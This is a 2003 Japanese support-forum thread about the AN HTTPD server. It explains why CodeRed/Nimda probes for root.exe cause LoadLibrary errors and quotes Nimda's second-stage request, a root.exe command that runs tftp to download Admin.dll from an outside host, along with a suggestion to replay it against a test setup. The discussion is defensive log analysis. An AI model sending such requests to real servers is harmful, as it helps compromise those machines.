AN HTTPD ゲストブック/コメント集(2003年5月19日11:58)


中田昭雄 nakata@st.rim.or.jp 2003/05/20 21:14

としきさん、
Nimda の 200応答に対するリクエスト(のようなリクエスト)のログは、NT系(NT/2000/XP)については対応しているつもりでしたが、95系(95/98/Me)でどうだったかもう一度確認してみます。
combined形式のログは対応予定です。


としき peb03250@nifty.ne.jp 2003/05/20 12:00

中田さん、どうもありがとうございます。
おかげさまで、シーケンスがおおむね理解出来ました。

http://homepage1.nifty.com/yito/namazu/gbook/20011218.1501.html
にもありますが、あらためて要望として、httpd.logに2番目のリクエストが
掲載されるようにしていただけるとありがたいです。
あと、combined形式って言うんですか、まとめて記録される形式にも対応して
いただけるとうれしいです。

最期はlog記録に関する要望ばかりになってしまって申し訳ありませんが、
なにとぞよろしくお願いいたします。


中田昭雄 nakata@st.rim.or.jp 2003/05/19 21:40

としきさん、
root.exe は CodeRed が作るものですがその中身は cmd.exe で Nimda はそれを利用している、という関係になります。

最初の /scripts/root.exe?/c+dir に対して 200 応答を返すと本物のNimdaは次の段階のアクセスをします。
Nimda がどういう動作をするかについては、
http://homepage1.nifty.com/yito/namazu/gbook/20011218.1501.html
を参考にしてください。
つまり、LoadLibrary のエラーは、
/scripts/root.exe?/c+tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll
を AN HTTPD が .dll と誤解して DLLをロードしようとして発生するエラーです。
(この部分は本来はちゃんと root.exe を実行しないといけないのですが。)

そして Admin.dll の作成できれば、次に Admin.dll を実行することになります。
Admin.dll が Nimda 本体だそうですから。 "Nimda" というのは "Admin" を後ろから読んだものですね。

ブラウザから確認したければ、TFTPのサーバをたてて(無害の)Admin.dll を用意して
/scripts/root.exe?/c+tftp%20-i%20*.*.*.41%20GET%20Admin.dll%20Admin.dll
というリクエストを出して、そのあとで Admin.dll を実行するようなアクセスをするのがよいでしょう。
上に書いたとおり AN HTTPD ではうまくいかないかもしれませんが。

(本物の)Nimdaのやりとりの経過は トレースログをとるようにして、trace.log で確認してみるのがよいと思います。


としき peb03250@nifty.ne.jp 2003/05/19 19:45

ども、いしどうさん、ありがとうございます。

一応、CodeRedであることは理解していたつもりです。元記事にも記載しておいた通り、
ある程度のアクセス量があることも覚悟していたつもりです。
で、私が誤解していたのかもしれないのですが、もしかしてerrors.logに
LoadLibrary("D:\WWW\SCRIPTS\ROOT.EXE") failed
って記録するのって、ANHTTPDではなくCodeRedの機能なんですか?


いしどう ishidou@po.iijnet.or.jp 2003/05/19 18:49

としきさん>
root.exeへのアクセスは、CodeRedに感染したコンピュータから来ているものです。
こちらの情報を見てみてください。
http://www.symantec.co.jp/region/jp/sarcj/data/c/codered.f.html


としき peb03250@nifty.ne.jp 2003/05/19 11:58

ども、はじめまして。
3ヶ月ほど前から使わせていただいております。
現在、1.42h を使っていますが、とても安定して稼動しております。
古い Win95a でIEの入っていないマシンをサーバマシンに使っています。

さて、サーバをインターネットに繋いだところ、覚悟はしていたのですが、cmd.exe
だの root.exe に対するアクセスが結構頻繁にあります。
そこで、ちょっといたずら心をおこして、ダミーのテキストを返す実行ファイルを
Delphi で作成してみました。そして、/msadc/ とか /scripts/ 等のディレクトリ
を作って、そこに root.exe なんて名前にリネームしたした上記プログラムを放り
込んでみました。

このプログラムそのものはきちんと動作しているようで、ブラウザからアクセス
すると、期待した通りの結果を返してきます。cgi の引数としてわたされている
? 以下の文字列をよくあるアクセスと同じ形にしてみましたがOKでした。
念のため、コマンドラインからの実行でもOKのようです。

ところで、例のうっとうしいアクセスの時の挙動なんですが、httpd.log では、
今までレスポンスに 404 を返していたのが 200 を返すようになりました。
これはいいのですが、errors.log に

LoadLibrary("D:\WWW\SCRIPTS\ROOT.EXE") failed with errocode = 1114
LoadLibrary("D:\WWW\MSADC\ROOT.EXE") failed with errocode = 1114

という記録が残るようになってしまいました。
これ、ブラウザからのアクセスの時には残りません。

これっていったい何なんでしょうか?
ブラウザからのアクセスと、いったい何が違うのでしょうか?
それとも、サーバの設定で抑止する事ができるのでしょうか?
#私の作ったプログラムにまだ何かバグがある可能性も・・・

エラーコードの意味と併せて、ご教示いただければ幸いです。